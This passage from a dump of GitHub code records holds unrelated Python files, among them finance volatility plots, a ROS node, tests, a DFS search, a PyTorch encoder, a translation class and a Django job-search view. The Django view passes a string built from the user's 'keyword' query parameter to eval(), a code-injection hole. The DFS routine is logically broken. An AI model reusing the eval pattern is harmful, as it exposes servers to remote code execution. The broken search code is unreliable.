ma(df['ret_square'], n_period-1)\r\n df['Variance_ma'] = Variance_ma\r\n # calculate rolling 250 days mean of return squared. The first Non-nan element equals np.mean(df['ret_square'][0:250])\r\n df['Variance_ma1'] = df['ret_square'].rolling(n_period).mean() \r\n \r\n #%%\r\n #\r\n # Calculate exponentially weighted average variance\r\n #\r\n lamda = 0.94\r\n Variance_Ema = ewa(df['ret_square'], lamda, n_period)\r\n #上下两种都可以好像没啥区别？\r\n Variance_Ema1=np.zeros((n_returns,1))\r\n for t in range(n_period-1, n_returns):\r\n #print(t)\r\n #print(t-n_period+1)\r\n a=df['ret_square'][t-n_period+1 : t+1]\r\n b = ewa(a, lamda, n_period-1)\r\n Variance_Ema1[t] = b[-1]\r\n del a, b\r\n \r\n #df['vols_ewma'] = df['ret_square'].ewm(span=n_period).mean()\r\n df['Varaince_ewma'] = Variance_Ema\r\n #Compare = np.concatenate((Variance_Ema,Variance_Ema1),axis=0)\r\n Compare1 = np.column_stack([Variance_Ema,Variance_Ema1])\r\n \r\n \r\n # Convert Variance to Standard Deviation\r\n df['std_ma'] = np.sqrt(df['Variance_ma'])\r\n df['std_ewma'] = np.sqrt(df['Varaince_ewma'])\r\n #%%\r\n # calculate the forward-realized standard deviation of returns\r\n Std_FwdRealized = np.full((n_returns,1), np.nan)\r\n # Note we only care about the forward realized std, starting from period 250, because we intend to compare \r\n # them with the ones based on backward-looking ma and ema models\r\n for t in range(n_period, n_returns-n_period+1):\r\n a=df['ret'][t : t+n_period]\r\n Std_FwdRealized[t] = np.std(a,ddof=1)\r\n del a\r\n df['std_realized_fw'] = Std_FwdRealized\r\n # Use the shift method to calculate std. The first Non-nan element equals np.std(df['ret_square'][0:250])\r\n # a1=df['ret'][np.isnan(df['realized_fw'])]\r\n #df['std_realized_fw1'] = df['ret'].rolling(n_period).std().shift(-n_period)\r\n \r\n df_bs['ret_square'] = np.square(df_bs['ret'])\r\n # Calculate simple moving average variance, using sampled return data\r\n Variance_ma_sampledRet = ma(np.square(ret1bs), n_period-1)\r\n df_bs['Variance_SampledRet'] = Variance_ma_sampledRet\r\n df_bs['Variance_SampledRet1'] = df_bs['ret_square'].rolling(n_period).mean()\r\n df_bs['std_SampledRet'] = np.sqrt(df_bs['Variance_SampledRet'])\r\n \r\n #%%%\r\n #\r\n # --------- plotting ----------------\r\n #\r\n \r\n import matplotlib.dates as mdates\r\n \r\n \r\n fig2=plt.figure(figure_count, figsize=(12, 10), edgecolor='k')\r\n figure_count = figure_count+1\r\n \r\n ax1 = plt.subplot(311, facecolor='w')\r\n plt.plot(df['date'], df['std_standard'],'k-', linewidth=2, label = 'std function')\r\n plt.plot(df['date'], df['std_ma'],'r-.', linewidth=1, label = 'simple moving average')\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax1.xaxis.set_major_formatter(xfmt)\r\n \r\n #ax1.legend(loc='upper center', ncol=2)\r\n ax1.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n \r\n plt.setp(ax1.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 2\r\n ax2 = plt.subplot(312, sharex=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_standard'],'k-', linewidth=2, label = 'std function')\r\n plt.plot(df['date'], df['std_ewma'],'r-.', linewidth=1, label = 'exponential moving average')\r\n \r\n ax2.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n # make these tick labels invisible\r\n #plt.setp(ax2.get_xticklabels(), visible=False)\r\n plt.setp(ax2.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 3\r\n ax3 = plt.subplot(313, sharex=ax1, sharey=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_standard'],'k-', linewidth=2, label = 'std function')\r\n plt.plot(df['date'], df_bs['std_SampledRet'],'r-.', linewidth=1, label = 'Boot Strap moving average')\r\n plt.setp(ax3.get_xticklabels(), fontsize=12)\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax3.xaxis.set_major_formatter(xfmt)\r\n \r\n ax3.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n \r\n #\r\n #-------------figure 2\r\n #\r\n fig3=plt.figure(figure_count, figsize=(12, 10), edgecolor='k')\r\n figure_count = figure_count+1\r\n \r\n ax1 = plt.subplot(311, facecolor='w')\r\n plt.plot(df['date'], df['std_realized_fw'],'k-', linewidth=2, label = 'forward realized vol.')\r\n plt.plot(df['date'], df['std_ma'],'r-.', linewidth=1, label = 'simple moving average')\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax1.xaxis.set_major_formatter(xfmt)\r\n \r\n #ax1.legend(loc='upper center', ncol=2)\r\n ax1.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n \r\n plt.setp(ax1.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 2\r\n ax2 = plt.subplot(312, sharex=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_realized_fw'],'k-', linewidth=2, label = 'forward realized vol.')\r\n plt.plot(df['date'], df['std_ewma'],'r-.', linewidth=1, label = 'exponential moving average')\r\n \r\n ax2.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n # make these tick labels invisible\r\n #plt.setp(ax2.get_xticklabels(), visible=False)\r\n plt.setp(ax2.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 3\r\n ax3 = plt.subplot(313, sharex=ax1, sharey=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_realized_fw'],'k-', linewidth=2, label = 'forward realized vol.')\r\n plt.plot(df['date'], df_bs['std_SampledRet'],'r-.', linewidth=1, label = 'Boot Strap moving average')\r\n plt.setp(ax3.get_xticklabels(), fontsize=12)\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax3.xaxis.set_major_formatter(xfmt)\r\n \r\n ax3.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n\r\n","repo_name":"Wangvory/Computer-Simulation-Sample-Code","sub_path":"Lecture7/Lecture7CodeNData/L7_MAEMAFinal.py","file_name":"L7_MAEMAFinal.py","file_ext":"py","file_size_in_byte":8569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38190858321","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom cw4.msg import Student\n\ndef student_cb(msg):\n\trospy.loginfo('{}'.format(msg))\n\t\nrospy.init_node('cw4')\nsub= rospy.Subscriber('/student', Student, student_cb)\nrospy.spin()\n","repo_name":"rdwtm/ROS","sub_path":"cw4/src/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42850670006","text":"import os\n\nfrom bears.xml.XMLBear import XMLBear\nfrom tests.LocalBearTestHelper import verify_local_bear\n\n\nvalid_xml_file = \"\"\"<?xml version=\"1.0\"?>\n<a/>\n\"\"\".splitlines(keepends=True)\n\ninvalid_xml_file = \"\"\"\n<a>blah</a>\n\"\"\".splitlines(keepends=True)\n\ninvalid_xml_chars = \"\"\"<?xml version=\"1.0\"?>\n<a>hey & hi</a>\n\"\"\".splitlines(keepends=True)\n\nvalid_xml_chars = \"\"\"<?xml version=\"1.0\"?>\n<a>hey and hi</a>\n\"\"\".splitlines(keepends=True)\n\ndtd_file = os.path.join(os.path.dirname(__file__),\n \"test_files\",\n \"note.dtd\")\n\nschema_file = os.path.join(os.path.dirname(__file__),\n \"test_files\",\n \"note.xsd\")\n\nvalid_xml_path = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"note.xml\"), 'r'))\n\nvalid_xml_url = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"concept-valid.xml\"), 'r'))\n\ninvalid_xml_schema = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"xsd-error.xml\"), 'r'))\n\ninvalid_xml_dtd = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"dtd-error.xml\"), 'r'))\n\ninvalid_xml_url = list(open(os.path.join(\n os.path.dirname(__file__),\n \"test_files\",\n \"concept-invalid.xml\"), 'r'))\n\ndtd_url = \"http://docs.oasis-open.org/dita/v1.0.1/dtd/concept.dtd\"\n\nXMLBearCorrectedTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_file, valid_xml_chars),\n invalid_files=(invalid_xml_file, invalid_xml_chars),\n tempfile_kwargs={\"suffix\": \".xml\"})\n\nXMLBearSchemaTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_path,),\n invalid_files=(invalid_xml_schema,),\n settings={'xml_schema': schema_file},\n tempfile_kwargs={\"suffix\": \".xml\"})\n\nXMLBearDTDPathTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_path,),\n invalid_files=(invalid_xml_dtd,),\n settings={'xml_dtd': dtd_file},\n tempfile_kwargs={\"suffix\": \".xml\"})\n\nXMLBearDTDUrlTest = verify_local_bear(\n XMLBear,\n valid_files=(valid_xml_url,),\n invalid_files=(invalid_xml_url,),\n settings={'xml_dtd': dtd_url},\n tempfile_kwargs={\"suffix\": \".xml\"})\n","repo_name":"Shreyas4991/coala-bears","sub_path":"tests/xml/XMLBearTest.py","file_name":"XMLBearTest.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"18046925211","text":"from typing import List\n\ndef two_sum(nums: List, target: int) -> List:\n \"\"\"Function determines the index of numbers in num whose sum equals target\n :type nums: List[int]\n :type target: int\n :rtype: List[int] \n \"\"\"\n num_index = {}\n two_sum_indexes = []\n for index, value in enumerate(nums):\n compliment_value = target - value\n compliment_index = num_index.get(compliment_value, None)\n if compliment_index is not None:\n two_sum_indexes = [index, compliment_index]\n break\n num_index[value] = index\n return two_sum_indexes\n\n\nif __name__ == '__main__':\n indexes = two_sum(nums=[2, 7, 11, 15], target=9)\n print(indexes)\n ","repo_name":"Prateek90/LeetCode","sub_path":"Python/src/TwoSumProblem.py","file_name":"TwoSumProblem.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41531214409","text":"\nimport util\n\ndef DFS(state):\n\n # for BFS frontier will be Stack LIFO\n frontier = util.Stack()\n frontier.push(state.initialState)\n\n # Add Explored Set i.e. difference between Tree and Graph\n explored = set()\n\n while not frontier.isEmpty():\n node = frontier.pop()\n explored.add(node)\n # Success\n if state.gisGoalState:\n return node\n\n for neighbor in node.neighbors:\n if neighbor not in frontier and neighbor in explored:\n frontier.push(neighbor)\n\n # Failure\n return False\n","repo_name":"pankajarm/CSMM101-Artificial-Intelligence","sub_path":"search_agent/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32822780575","text":"from typing import *\n\nfrom onmt.encoders.encoder import EncoderBase\nfrom onmt.utils.rnn_factory import rnn_factory\n\nfrom torch.nn.utils.rnn import pack_padded_sequence as pack\nfrom torch.nn.utils.rnn import pad_packed_sequence as unpack\n\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch\n\nVHDL_TYPE_INDX = dict()\n\nclass AppendedRNNEncoder(EncoderBase):\n \n def __init__(self, rnn_type, bidirectional, num_layers,\n hidden_size, dropout=0.0, embeddings=None,\n use_bridge=False):\n super(AppendedRNNEncoder, self).__init__()\n assert embeddings is not None\n\n num_directions = 2 if bidirectional else 1\n assert hidden_size % num_directions == 0\n hidden_size = hidden_size // num_directions\n self.embeddings = embeddings\n\n self.rnn, self.no_pack_padded_seq = \\\n rnn_factory(rnn_type,\n input_size=embeddings.embedding_size+len(VHDL_TYPE_INDX)-1,\n hidden_size=hidden_size,\n num_layers=num_layers,\n dropout=dropout,\n bidirectional=bidirectional)\n\n # Initialize the bridge layer\n self.use_bridge = use_bridge\n if self.use_bridge:\n self._initialize_bridge(rnn_type,\n hidden_size,\n num_layers)\n\n @classmethod\n def from_opt(cls, opt, embeddings, type_token_indx=None):\n \"\"\"Alternate constructor.\"\"\"\n global VHDL_TYPE_INDX\n VHDL_TYPE_INDX = type_token_indx\n return cls(\n opt.rnn_type,\n opt.brnn,\n opt.enc_layers,\n opt.enc_rnn_size,\n opt.dropout[0] if type(opt.dropout) is list else opt.dropout,\n embeddings,\n opt.bridge)\n \n def forward(self, src, src_type, lengths=None):\n \"\"\"See :func:`EncoderBase.forward()`\"\"\"\n self._check_args(src, lengths)\n\n emb = self.embeddings(src)\n # s_len, batch, emb_dim = emb.size()\n\n # src_type: (seq_len, batch, 1)\n # type_onehot_emb: (seq_len, batch, len(VHDL_TYPE_INDX)-1)\n # or (1, batch, len(VHDL_TYPE_INDX)-1)\n type_onehot_emb = self.get_onehot_vector(src_type)\n\n if type_onehot_emb.size(0)==1:\n # type_onehot_emb: (s_len, batch, len(VHDL_TYPE)-1)\n type_onehot_emb = type_onehot_emb.repeat(emb.size(0), 1, 1)\n \n assert emb.size(0)==type_onehot_emb.size(0)\n # emb: (s_len, batch, emb_dim+len(VHDL_TYPE_INDX))\n emb = torch.cat((emb, type_onehot_emb), dim=-1)\n \n packed_emb = emb\n if lengths is not None and not self.no_pack_padded_seq:\n # Lengths data is wrapped inside a Tensor.\n lengths_list = lengths.view(-1).tolist()\n # PN: allow non-sorted\n packed_emb = pack(emb, lengths_list, enforce_sorted=False)\n\n memory_bank, encoder_final = self.rnn(packed_emb)\n\n if lengths is not None and not self.no_pack_padded_seq:\n memory_bank = unpack(memory_bank)[0]\n\n if self.use_bridge:\n encoder_final = self._bridge(encoder_final)\n return encoder_final, memory_bank, lengths\n\n def get_onehot_vector(self, src_type):\n # (seq_len, batch, 1) -> (seq_len, batch, len(VHDL_TYPE_INDX)-1)\n src_type = self.convert_vocab_indx_to_type_indx(src_type)\n seq_len = src_type.size(0)\n batch_size = src_type.size(1)\n res_vec = torch.zeros(seq_len, batch_size, len(VHDL_TYPE_INDX)-1)\n for step_i in range(seq_len):\n for batch_i in range(batch_size):\n if src_type[step_i, batch_i,:]<len(VHDL_TYPE_INDX)-1:\n res_vec[step_i, batch_i, src_type[step_i, batch_i,:]] = 1\n return res_vec.cuda()\n\n def convert_vocab_indx_to_type_indx(self, src_type):\n vhdl_type_indx_tensor = torch.tensor(list(VHDL_TYPE_INDX.values())).cuda()\n for step_i in range(src_type.size(0)):\n for batch_i in range(src_type.size(1)):\n indx = (vhdl_type_indx_tensor==src_type[step_i, batch_i, :]).nonzero()\n if len(indx)==0:\n src_type[step_i, batch_i, :] = len(VHDL_TYPE_INDX)-1\n else:\n src_type[step_i, batch_i, :] = indx.squeeze()\n return src_type\n\n def _initialize_bridge(self, rnn_type,\n hidden_size,\n num_layers):\n\n # LSTM has hidden and cell state, other only one\n number_of_states = 2 if rnn_type == \"LSTM\" else 1\n # Total number of states\n self.total_hidden_dim = hidden_size * num_layers\n\n # Build a linear layer for each\n self.bridge = nn.ModuleList([nn.Linear(self.total_hidden_dim,\n self.total_hidden_dim,\n bias=True)\n for _ in range(number_of_states)])\n\n def _bridge(self, hidden):\n \"\"\"Forward hidden state through bridge.\"\"\"\n def bottle_hidden(linear, states):\n \"\"\"\n Transform from 3D to 2D, apply linear and return initial size\n \"\"\"\n size = states.size()\n result = linear(states.view(-1, self.total_hidden_dim))\n return F.relu(result).view(size)\n\n if isinstance(hidden, tuple): # LSTM\n outs = tuple([bottle_hidden(layer, hidden[ix])\n for ix, layer in enumerate(self.bridge)])\n else:\n outs = bottle_hidden(self.bridge[0], hidden)\n return outs\n\n def update_dropout(self, dropout):\n self.rnn.dropout = dropout\n","repo_name":"EngineeringSoftware/hdlp","sub_path":"completion/onmt/encoders/AppendedRNNEncoder.py","file_name":"AppendedRNNEncoder.py","file_ext":"py","file_size_in_byte":5773,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"7335167763","text":"import pyspark as py\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import SQLContext\nimport pyspark.sql.functions as F\nfrom pyspark.sql.functions import col, udf\nfrom pyspark.sql.types import *\nimport re\nimport codecs\nimport numpy as np\nimport string\nimport pickle\nimport nltk, re, pprint\nfrom nltk import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom nltk.tokenize import RegexpTokenizer\nfrom googletrans import Translator\nimport spellcheck\n \nclass Translate:\n \n switcher = {\n \"naive\": \"\",\n \"bernoulli\": \"BernoulliNB_\",\n \"lr\": \"LogisticRegression_\",\n \"multinomial\": \"MNB_\",\n \"SGD\": \"SGDClassifier_\"\n }\n \n translator = Translator()\n \n translate_switcher = {\n \"Dutch\": \"nl\",\n \"English\": \"en\",\n \"French\": \"fr\"\n }\n \n corrector = {\n 'English': spellcheck.EnglishSpellCheck(),\n 'Dutch': spellcheck.DutchSpellCheck(),\n 'French': spellcheck.FrenchSpellCheck()\n }\n \n gram_feature_combinations = {\n 1: [300],\n 2: [300, 600, 1200, 2000],\n 3: [300, 600, 1200, 2000],\n 4: [300, 600, 1200, 2000],\n 5: [300, 600, 1200]\n }\n \n def __init__(self, dataframe, n=3, features = 2000, algorithm=\"lr\", target=\"en\", text_column = \"Comments\"):\n self.n = n\n self.features = features \n self.algorithm = algorithm\n self.target = target\n self.text_column = text_column\n if not self.check_feature_ngram():\n print(\"Wrong parameter settings\")\n return\n self.load_detect_algorithm()\n dataframe = self.detect_languages(dataframe)\n dataframe = self.correct_spelling(dataframe)\n dataframe = self.translate(dataframe)\n self.dataframe = dataframe\n \n def get_dataframe(self):\n return self.dataframe.select(\n (col(\"translated\")).alias(self.text_column)\n )\n \n def get_english(self):\n return self.dataframe.where(self.dataframe.language == \"English\").select(\n (col(\"corrected\")).alias(self.text_column)\n )\n \n def translate(self, dataframe):\n translateFunc = F.udf(self.get_translation, StringType())\n dataframe = dataframe.withColumn(\"translated\", translateFunc(\"corrected\", \"language\"))\n return dataframe\n \n def correct_spelling(self, dataframe):\n correctFunc = F.udf(self.correct_comment, StringType())\n dataframe = dataframe.withColumn(\"corrected\", correctFunc(self.text_column, \"language\"))\n return dataframe\n \n def detect_languages(self, dataframe):\n detectFunc = F.udf(self.detect_language, StringType())\n dataframe = dataframe.withColumn(\"language\", detectFunc(self.text_column))\n return dataframe\n \n def check_feature_ngram(self):\n if self.features in self.gram_feature_combinations[self.n]:\n return True\n return False\n \n def load_detect_algorithm(self):\n try:\n f = open('language detection/' + str(self.n) + '-ngram/n-'+ str(self.features)+'-featuresets.pickle', 'rb')\n self.featureset = pickle.load(f)\n f.close()\n f = open('language detection/' + str(self.n)+'-ngram/n-'+str(self.features)+'-'+self.switcher[self.algorithm]+\"classifier.pickle\", 'rb')\n self.language_detection_algorithm = pickle.load(f)\n f.close()\n except:\n print(\"Could not load models\")\n \n def detect_language(self, line):\n original = line\n line = self.preprocess(line)\n ngrams = self.get_ngrams(line)\n features = self.get_features(ngrams)\n detection = self.language_detection_algorithm.classify(features)\n if detection == \"Dutch\":\n return \"Dutch\"\n if detection == \"English\":\n return \"English\"\n if detection == \"French\":\n return \"French\"\n\n \n def get_features(self, grams):\n to_return = {}\n if isinstance(grams, list):\n for gram in grams:\n found = False\n for sen in self.featureset:\n if gram == sen:\n found = True\n to_return[gram] = True\n if not found:\n to_return[gram] = False\n return to_return\n \n def preprocess(self, line):\n if line != \"\" and line is not None:\n line = \" \".join(line.split()[0:])\n line = line.lower()\n line = re.sub(r\"\\d+\", \"\", line)\n line = line.translate(str.maketrans('', '', string.punctuation))\n return line\n\n def get_ngrams(self, line):\n detected_ngrams = nltk.ngrams(line, self.n)\n try:\n return list(detected_ngrams)\n except:\n return []\n\n def create_ngram_features(self, line):\n ngrams = dict()\n sequence = preprocess(line)\n detected_ngrams = self.get_ngrams(sequence, self.n)\n for detected in detected_ngrams:\n ngrams[detected] = ngrams.get(detected, 0) + 1\n return sorted(ngrams.items(), key=lambda item: item[1],reverse=True)\n \n def correct_comment(self, comment, language):\n return self.corrector[language].correct_sentence(comment)\n \n def get_translation(self, comment, language):\n if self.translate_switcher[language] == \"en\":\n return comment\n \n return self.translator.translate(comment, src=self.translate_switcher[language], dest=\"en\").text\n ","repo_name":"Bovi-analytics/classify_cattle_disease","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12795275866","text":"##### quick and dirty ######\ndata = open('day4.txt').read().splitlines()\n\nn = 0\nfor section in data:\n range1,range2 = section.split(',')\n x1,x2 = map(int,range1.split('-'))\n y1,y2 = map(int,range2.split('-'))\n a = set(range(x1,x2+1))\n b = set(range(y1,y2+1))\n if a & b == b or a & b == a: # part 1\n # if a & b: #part 2\n n += 1\nprint(n)\n\n##### refactored ######\ndata = open('day4.txt').read().splitlines()\n\ndef make_elf_sections(data):\n return [[list(map(int,x.split('-'))) for x in d.split(',')] for d in data]\n \ndef subsumes(elves):\n e1,e2 = elves \n return e1[0] >= e2[0] and e1[1] <= e2[1] or e2[0] >= e1[0] and e2[1] <= e1[1]\n \ndef overlaps(elves):\n e1,e2 = elves\n return e1[1] >= e2[0] and e1[1] <= e2[1] or e2[1] >= e1[0] and e2[1] <= e1[1]\n\ndef count_elves(elves,assignment_func):\n return len(list(filter(assignment_func,elves)))\n\nelves = make_elf_sections(data)\n\nprint(count_elves(elves,subsumes))\nprint(count_elves(elves,overlaps))\n","repo_name":"Solaxun/AoC2022_python","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29643585071","text":"'''\nCreated on Sep 8, 2017\n\n@author: wangxing\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnumStates = 7\nstartState = numStates/2 +1\nstates = np.arange(1, numStates+1)\nabsorbingState = [0, numStates+1]\n\nactionLeft = 0\nactionRight = 1\n\n\nclass TDlambda(object):\n '''\n classdocs\n '''\n def __init__(self, lamb, alpha, gamma=1.):\n '''\n Constructor\n '''\n self.lamb = lamb \n self.alpha = alpha \n self.gamma = gamma\n self.values = np.zeros(numStates + 2)\n self.newEpisode()\n \n def newEpisode(self):\n self.eligibility = np.zeros(numStates + 2)\n self.lastState = startState\n self.stateValue = 0.0\n \n def learn(self, state, reward):\n self.eligibility *= (self.lamb * self.gamma)\n delta = reward + self.value[state] * self.gamma - self.values[self.lastState]\n delta *= self.alpha\n self.values += delta * self.eligibility\n self.lastState = state\n\n \n \ndef randomWalk(valueFunction):\n valueFunction.newEpisode()\n currentState = startState\n while currentState not in absorbingState:\n if np.random.binomial(1, 0.5) == actionLeft:\n newState = currentState - 1\n else:\n newState = currentState + 1\n if newState == 0:\n reward = -1\n elif newState == numStates + 1:\n reward = 1\n else:\n reward = 0\n valueFunction.learn(newState, reward)\n currentState = newState\n \ndef rmsError(lambdas, alphas, episodes=10, runs=100):\n errors = [np.zeros(len(lambdas))]\n for run in range(runs):\n for lambIndex, lamb in zip(range(len(lambdas)), lambdas):\n for alphaIndex, alpha in zip(range(len(alphas)), alphas):\n instance = TDlambda(lamb, alpha)\n for episode in episodes:\n randomWalk(instance)\n stateValues = instance.values\n# errors[lambIndex][alphaIndex] += np.sqrt(np.mean(np.power(stateValues - idealPredictions)))\n \ndef figure4():\n lambdas = [0, .1, .3, .5, .7, .9, 1]\n alphas = np.arange(0, .7, .1)","repo_name":"xzw0005/SuttonRLBook","sub_path":"Examples/RandomWalk.py","file_name":"RandomWalk.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1830572247","text":"import json\nimport logging\nfrom django.db.models import Q\nfrom django.http import JsonResponse\nfrom requests import Response\nfrom rest_framework.views import APIView\nfrom ..models.visualize_models import lagou\n\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom rest_framework.permissions import IsAuthenticated\n\n\ndef lagou_table_api(request):\n global results, max_salary, min_salary\n\n lagou_json_filename = 'static/file/lagou_json.json'\n page = int(request.GET.get('page', default=1)) # get请求前端table发来的参数\n limit = int(request.GET.get('limit', default=10))\n education = request.GET.get('education')\n city = request.GET.get('city')\n salary = request.GET.get('salary')\n experience = request.GET.get('experience')\n keyword = request.GET.get('keyword')\n # 不为None或 ''\n if not any([education, city, salary, experience, keyword]) or (\n education == '' and city == '' and salary == '' and experience == '' and keyword == ''):\n with open(lagou_json_filename, encoding='utf-8') as f:\n lagou_jsonData = json.load(f)\n datas = { # 和with平级\n 'code': 0,\n 'msg': \"\",\n 'count': len(lagou_jsonData),\n 'data': lagou_jsonData[((page - 1) * limit) + 1:(page * limit)]\n }\n return JsonResponse(datas)\n\n else:\n if experience == '0':\n experience = '应届毕业生'\n elif experience == '1-':\n experience = '1年以下'\n elif experience == '10+':\n experience = '10年以上'\n elif experience == '666':\n experience = '经验不限'\n job_keywords = keyword.split(',')[:-1]\n if len(job_keywords) != 0:\n temp_job = [\"Q(job__icontains='{}')\".format(job) for job in job_keywords]\n job_filter = '|'.join(temp_job)\n else:\n job_filter = \"Q(job__icontains='')\"\n data_lagou = []\n # 此时education为本科，city为上海,月薪为10k-15k,经验要求1年以下\n results = lagou.lagou_.filter(Q(education__contains=education) & Q(education__contains=experience),\n # reduce(lambda x, y: Q(job__icontains=x) | Q(job__icontains=y), job_keywords),\n eval(job_filter),\n # Q对象一定要放在关键词查询的前面\n city__contains=city)\n if salary != '':\n salary = salary.split('-')\n min_salary = int(salary[0])\n max_salary = int(salary[1])\n for result in results:\n temp_salary = result.salary.replace('k', '').replace('K', '').split('-')\n # 长沙的java简直有毒，草！\n if len(temp_salary) == 2 and 'k' not in temp_salary[1] and 'k' not in temp_salary[0] and \\\n max_salary < int(temp_salary[1]) and min_salary > int(temp_salary[0]):\n data_dict = {\n 'index': result.id,\n 'city': result.city,\n 'education': result.education,\n 'industry': result.industry,\n 'job_keyword': result.job,\n 'publish_time': result.recruit_name,\n 'salary': result.salary,\n 'scale': result.scale,\n 'technology_keyword': result.technique_key,\n 'treatment': result.treatment,\n }\n data_lagou.append(data_dict)\n del data_dict\n else:\n for result in results:\n data_dict = {\n 'index': result.id,\n 'city': result.city,\n 'education': result.education,\n 'industry': result.industry,\n 'job_keyword': result.job,\n 'publish_time': result.recruit_name,\n 'salary': result.salary,\n 'scale': result.scale,\n 'technology_keyword': result.technique_key,\n 'treatment': result.treatment,\n }\n data_lagou.append(data_dict)\n del data_dict\n datas_modify = { # 仍然是全局的\n 'code': 0,\n 'msg': \"\",\n 'count': len(data_lagou), # 总数\n 'data': data_lagou[((page - 1) * limit) + 1:(page * limit)]\n }\n return JsonResponse(datas_modify)\n\n'''\nclass test(APIView):\n authentication_classes = [SessionAuthentication, BasicAuthentication]\n permission_classes = [IsAuthenticated]\n\n def get(self, request):\n content = {\n 'user': request.user,\n 'auth': request.auth\n }\n return Response(content)\n'''\n","repo_name":"syz247179876/Django-Mblog","sub_path":"mblog_this/visualize/views/visualize_api.py","file_name":"visualize_api.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"41843377984","text":"import torch\nfrom torch import nn\nfrom torch.autograd import Function\nfrom math import *\n\n# ST-TS-HGR-NET Architecture \n\n## Before ST-TS\n\ndef sym(A):\n return 0.5 * (A + A.transpose(-1,-2))\ndef sequence(t):\n d = dict()\n d[0] = range(t)\n d[1] = range(int(t/2))\n d[2] = range(int(t/2),t)\n d[3] = range(int(t/3))\n d[4] = range(int(t/3), 2*int(t/3))\n d[5] = range(2 * int(t/3), t)\n return d\n\n\n## ST-GA-NET\n\n\n### First Gauss Aggregation Layer\n\nclass Gauss_agg1_st_function(Function):\n @staticmethod\n def forward(ctx,input,parts, t0):\n t0 = torch.tensor(t0)\n NP, P = len(parts), len(parts[0])\n ctx.save_for_backward(input,t0, torch.tensor(NP), torch.tensor(P))\n batch,nb_frames,joints,coor,col = input.size()\n #ST\n output_st = []\n for s in range(6):\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n x = input[:,binf:bsup + 1].clone().transpose(1,2).reshape(batch,NP, P,bsup-binf + 1,coor,col)\n y = x.clone()\n x[:,:,1:-1] = (x[:,:,1:-1] + x[:,:,:-2] + x[:,:,2:])/3\n mu = x.mean(2)\n cov = torch.zeros(batch,NP,bsup-binf + 1,coor,coor)\n m = mu.unsqueeze(2).expand(x.size())\n xm,x0,xp = y[:,:,:,:-2]-m[:,:,:,1:-1], y-m, y[:,:,:,2:]-m[:,:,:,1:-1]\n cov[:,:,1:-1] = ((xm @ xm.transpose(-1,-2) + x0[:,:,:,1:-1] @ x0[:,:,:,1:-1].transpose(-1,-2) + xp @ xp.transpose(-1,-2))/3).mean(2)\n cov[:,:,::bsup-binf] = (x0[:,:,:,::bsup-binf] @ x0[:,:,:,::bsup-binf].transpose(-1,-2)).mean(2)\n\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,len(parts),bsup-binf + 1,1,1)\n output_st.append(torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2))\n return torch.cat(tuple(output_st),2)\n\n\n @staticmethod\n def backward(ctx,grad_output_st):\n\n input,t0, NP, P = 